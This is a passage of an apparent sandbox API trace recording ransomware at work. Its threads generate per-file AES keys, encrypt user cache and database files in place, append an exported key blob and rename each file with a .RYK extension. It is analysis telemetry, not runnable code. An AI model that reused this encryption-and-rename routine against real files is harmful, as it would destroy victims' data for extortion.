	[0250.402] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94ffa20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94ffa20*=0xf4250) returned 1
	[0250.402] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x94ffa28*=0x1a918, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x94ffa28*=0x1a920) returned 1
	[0250.403] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.403] WriteFile (in: hFile=0x4c4, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x1a920, lpNumberOfBytesWritten=0x94ffa24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x94ffa24*=0x1a920, lpOverlapped=0x0) returned 1
	[0250.404] WriteFile (in: hFile=0x4c4, lpBuffer=0x94ffa50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x94ffa30, lpOverlapped=0x0 | out: lpBuffer=0x94ffa50*, lpNumberOfBytesWritten=0x94ffa30*=0x6, lpOverlapped=0x0) returned 1
	[0250.404] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x94ffa40 | out: pbData=0x0*, pdwDataLen=0x94ffa40*=0x10c) returned 1
	[0250.404] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x94ffab0, pdwDataLen=0x94ffa40 | out: pbData=0x94ffab0*, pdwDataLen=0x94ffa40*=0x10c) returned 1
	[0250.405] WriteFile (in: hFile=0x4c4, lpBuffer=0x94ffab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x94ffa30, lpOverlapped=0x0 | out: lpBuffer=0x94ffab0*, lpNumberOfBytesWritten=0x94ffa30*=0x10c, lpOverlapped=0x0) returned 1
	[0250.405] CloseHandle (hObject=0x4c4) returned 1
	[0250.407] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0250.407] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2946
	os_tid = 0x2d44

	[0250.400] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0250.400] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.400] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.401] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2947
	os_tid = 0x2b7c

	[0250.416] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 0
	[0250.416] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.416] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2948
	os_tid = 0x3090

	[0250.417] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 1
	[0250.423] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4
	[0250.423] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x915fc38 | out: lpFileSize=0x915fc38*=1206133) returned 1
	[0250.423] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x915fc48 | out: lpFileSize=0x915fc48*=1206133) returned 1
	[0250.423] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x126653, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0250.423] ReadFile (in: hFile=0x4c4, lpBuffer=0x915fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x915fc00, lpOverlapped=0x0 | out: lpBuffer=0x915fc90*, lpNumberOfBytesRead=0x915fc00*=0x19, lpOverlapped=0x0) returned 1
	[0250.425] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.425] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x915fc18 | out: phKey=0x915fc18*=0x3f7e00) returned 1
	[0250.425] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.425] ReadFile (in: hFile=0x4c4, lpBuffer=0x3080000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x915fc24, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x915fc24*=0xf4240, lpOverlapped=0x0) returned 1
	[0250.442] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x915fc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x915fc20*=0xf4240) returned 1
	[0250.443] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x915fc28*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x3080000*, pdwDataLen=0x915fc28*=0xf4240) returned 1
	[0250.451] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0250.451] WriteFile (in: hFile=0x4c4, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x915fc24, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x915fc24*=0xf4240, lpOverlapped=0x0) returned 1
	[0250.857] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0250.857] ReadFile (in: hFile=0x4c4, lpBuffer=0x3080000, nNumberOfBytesToRead=0x32535, lpNumberOfBytesRead=0x915fc24, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x915fc24*=0x32535, lpOverlapped=0x0) returned 1
	[0250.860] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x915fc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x915fc20*=0xf4250) returned 1
	[0250.860] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x915fc28*=0x32535, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x915fc28*=0x32540) returned 1
	[0250.862] SetFilePointer (in: hFile=0x4c4, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0250.862] WriteFile (in: hFile=0x4c4, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x32540, lpNumberOfBytesWritten=0x915fc24, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x915fc24*=0x32540, lpOverlapped=0x0) returned 1
	[0250.864] WriteFile (in: hFile=0x4c4, lpBuffer=0x915fc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x915fc30, lpOverlapped=0x0 | out: lpBuffer=0x915fc50*, lpNumberOfBytesWritten=0x915fc30*=0x6, lpOverlapped=0x0) returned 1
	[0250.864] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x915fc40 | out: pbData=0x0*, pdwDataLen=0x915fc40*=0x10c) returned 1
	[0250.864] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x915fcb0, pdwDataLen=0x915fc40 | out: pbData=0x915fcb0*, pdwDataLen=0x915fc40*=0x10c) returned 1
	[0250.865] WriteFile (in: hFile=0x4c4, lpBuffer=0x915fcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x915fc30, lpOverlapped=0x0 | out: lpBuffer=0x915fcb0*, lpNumberOfBytesWritten=0x915fc30*=0x10c, lpOverlapped=0x0) returned 1
	[0250.865] CloseHandle (hObject=0x4c4) returned 1
	[0251.253] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0251.253] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3006
	os_tid = 0x34e0

	[0251.192] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms", dwFileAttributes=0x80) returned 0
	[0251.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.192] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3010
	os_tid = 0x34f0

	[0251.208] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat", dwFileAttributes=0x80) returned 0
	[0251.208] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.208] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.208] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3012
	os_tid = 0x34f8

	[0251.210] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT", dwFileAttributes=0x80) returned 1
	[0252.393] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0252.394] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x8c2f9f8 | out: lpFileSize=0x8c2f9f8*=245980) returned 1
	[0252.394] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x8c2fa08 | out: lpFileSize=0x8c2fa08*=245980) returned 1
	[0252.394] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x3bfba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0252.394] ReadFile (in: hFile=0x584, lpBuffer=0x8c2fa50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2f9c0, lpOverlapped=0x0 | out: lpBuffer=0x8c2fa50*, lpNumberOfBytesRead=0x8c2f9c0*=0x19, lpOverlapped=0x0) returned 1
	[0252.397] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.397] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c2f9d8 | out: phKey=0x8c2f9d8*=0x3f7d20) returned 1
	[0252.397] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.397] ReadFile (in: hFile=0x584, lpBuffer=0x3180000, nNumberOfBytesToRead=0x3c0dc, lpNumberOfBytesRead=0x8c2f9e4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x8c2f9e4*=0x3c0dc, lpOverlapped=0x0) returned 1
	[0252.400] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2f9e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2f9e0*=0xf4250) returned 1
	[0252.400] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x8c2f9e8*=0x3c0dc, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x8c2f9e8*=0x3c0e0) returned 1
	[0252.402] SetFilePointer (in: hFile=0x584, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0252.402] WriteFile (in: hFile=0x584, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x3c0e0, lpNumberOfBytesWritten=0x8c2f9e4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x8c2f9e4*=0x3c0e0, lpOverlapped=0x0) returned 1
	[0252.404] WriteFile (in: hFile=0x584, lpBuffer=0x8c2fa10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x8c2fa10*, lpNumberOfBytesWritten=0x8c2f9f0*=0x6, lpOverlapped=0x0) returned 1
	[0252.404] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2fa00 | out: pbData=0x0*, pdwDataLen=0x8c2fa00*=0x10c) returned 1
	[0252.404] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2fa70, pdwDataLen=0x8c2fa00 | out: pbData=0x8c2fa70*, pdwDataLen=0x8c2fa00*=0x10c) returned 1
	[0252.404] WriteFile (in: hFile=0x584, lpBuffer=0x8c2fa70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x8c2fa70*, lpNumberOfBytesWritten=0x8c2f9f0*=0x10c, lpOverlapped=0x0) returned 1
	[0252.404] CloseHandle (hObject=0x584) returned 1
	[0252.407] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0252.407] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3096
	os_tid = 0x3654

	[0251.745] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb", dwFileAttributes=0x80) returned 0
	[0251.745] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.745] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.745] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\currentdatabase_372.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3097
	os_tid = 0x3658

	[0251.748] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb", dwFileAttributes=0x80) returned 0
	[0251.748] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.748] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.748] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\LocalMLS_3.wmdb.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\localmls_3.wmdb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3098
	os_tid = 0x365c

